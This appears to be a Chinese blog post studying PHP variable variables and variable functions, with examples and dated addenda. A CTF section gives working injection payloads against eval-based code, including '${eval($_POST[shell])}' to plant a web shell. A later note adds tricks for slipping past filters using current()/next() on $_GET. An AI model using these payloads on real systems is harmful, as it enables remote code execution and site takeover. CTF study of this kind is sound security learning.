可变变量就是说,一个变量的变量名可以动态的设置和使用。有两个特例 超全局变量和$this

可变变量

$

就是用一个变量的值,去声明另一个变量

1
2
3
4
5
6
7
<?php
$a = 'hello';
$$a = 'world';
echo $hello;
?>

//输出 world

但是这种情况下有一个问题,比如$$a[1] 这种方式,就有两种意思

第一种

1
$$a分割[1]     ==> $hello[1]

第二种

1
$分割$a[1]     ==> $h

针对上面两种方式就产生了 一种新的表达方式

{}

可以起到分割的作用

第一种情况,这样表示

1
${$a}[1]

第二种情况。这样表示

1
${$a[1]}

这里有一点要注意双引号不会去解析$$这种变量,还有单引号是不会去解析$ 以及{}

1
2
3
4
5
6
7
8
9
<?php
$varname = "foo";
$foo = "bar";

print $$varname; // Prints "bar"
print "$$varname"; // Prints "$foo"
print "${$varname}"; // Prints "bar"
print '${$varname}'; //${$varname}
?>

2020.2.6补充

1
2
3
4
<?php
$s="2";
var_dump(${'s'});
//string '2' (length=1)

再进一步 ${}

看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
define('ONE', 1);
function one() {
return 1;
}
$one = 1;

${"foo$one"} = 'foo';
echo $foo1; // foo
${'foo' . ONE} = 'bar'; //和常量进行构造
echo $foo1; // bar
${'foo' . one()} = 'baz'; //这里有空格也没事
echo $foo1; // baz
?>

看上面的${}

分析一下

no.1

直接这样写

1
"foo$one" = 'foo';

报错

1
Parse error:  syntax error, unexpected '='

这样写的意思是一个字符串,不能给一个字符串赋值。所以报错

no.2

加上{}试试

1
{"foo$one"} = 'foo';

报错

1
Parse error: syntax error, unexpected '}'

加上{}也不能解析变量,也就是说,{}只是一个分割的作用

no.3

再加上$

1
${"foo$one"} = 'foo';

这样就可以,也就是说,${}能起到一个声明变量的作用

在看一个例子,加深一下印象

1
2
3
4
<?php
$foo = 'info';
${"php$foo"}();
?>

报错

1
Undefined variable: phpinfo

没有定义phpinfo这个变量

加上一个phpinfo这个变量试试

1
2
3
4
5
6
<?php
$phpinfo='phpinfo';
$foo = 'info';
${"php$foo"}();
?>
${"php$foo"} 表示的就是phpinfo这个变量

success

补充2020.2.7

类的方法 可以通过可变变量调用

1
2
3
4
5
6
7
8
9
<?php
class Foo {
public static function hello() {
echo 'Hello world!';
}
}
$my_foo = 'Foo';
$my_foo::hello(); //prints 'Hello world!'
?>

可变函数

上面这个例子还牵扯到了可变函数

如果一个变量名后面有括号,那么php会尝试寻找和这个变量的值同名的函数来执行,或者是一个字符串后面有括号,那么php会把这个字符串,当作函数名来执行

变量名的方式就类似于上面那个

再来个字符串方式的

1
("phpinfo")();  //括号可以表示一个字符串

一道ctf

1
2
3
4
<?php
$str= @(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
?>

有双引号可以解析变量

这里有一个知识点php种规定如果可变变量里面是函数,那么就把函数的返回值作为变量的名字

输入

1
?str=${phpinfo()}

成功执行phpinfo后,最下面会出现一行报错

1
Undefined variable: 1

没有定义的变量1 这里没有定义1这个变量 php中变量名是有规定的以$开头 后面要+字母,以数字命名的变量是不合法的

payload

1
?str=${eval($_POST[shell])}

2019.10.7补充

一些个人推测

后台代码

1
2
3
<?php
eval($_GET['a']);
var_dump(${$a}['arr']);

测试

1
2
3
4
5
6
7
8
9
10
11
12
?a=$a=_GET;${$a}['arr'];&arr=phpinfo() 

//输出
string(10) "phpinfo();"

猜测原因
没有达到动态变量的目的 phpinfo()被当作字符串
猜测 这让写是让eval去执行phpinfo而不是动态变量的特性去执行 eval应该只会去执行一次命令,${$a}['arr'];已经用了那一次执行命令
也就是说eval只是去执行 把${$a}['arr'];变为$_GET['arr] 执行完这个后,eval就没用了,
像以前那样eval($_GET['arr)这种方式,来执行命令,是因为$_GET自身会自动的去获取参数,并没有消耗eval的那次执行命令的机会

$a=_GET;${$a}['arr']();&arr=phpinfo 这样就可以执行,因为获取到phpinfo后,形成了一个字符串+()的结构,正好是动态变量,所以被执行 不是eval去执行的phpinfo 是动态变量执行的

2019.10.8补充

$_GET传入数组时,同名的数组占同一个位置

测试

1
2
3
4
<?php
var_dump($_GET);
echo "<br>";
var_dump(next($_GET));

输入

1
2
3
4
5
6
?a=r&arr[0][]=1&arr[0][]=2&arr[1][]=3&at[]=2&arr[2][]=6

//输出
array(3) { ["a"]=> string(1) "r" ["arr"]=> array(3) { [0]=> array(2) { [0]=> string(1) "1" [1]=> string(1) "2" } [1]=> array(1) { [0]=> string(1) "3" } [2]=> array(1) { [0]=> string(1) "6" } } ["at"]=> array(1) { [0]=> string(1) "2" } }

array(3) { [0]=> array(2) { [0]=> string(1) "1" [1]=> string(1) "2" } [1]=> array(1) { [0]=> string(1) "3" } [2]=> array(1) { [0]=> string(1) "6" } }

$_GET数组内只有三个变量,一个a 一个arr 一个at 使用next获取数组内的下一个元素时,arr数组被全部获取,也就是说,arr这个数组内的所有元素,在$_GET中占一个位置

这里学到一个新技巧,可以通过current next来获取数组中的元素,当[] {} 被过滤可以使用current($_GET)来会得到$_GET内的第一个元素,next($_GET)可以得到下一个元素

参考链接

https://www.php.net/manual/zh/language.variables.variable.php

https://www.anquanke.com/post/id/176331#h2-1

https://xz.aliyun.com/t/6426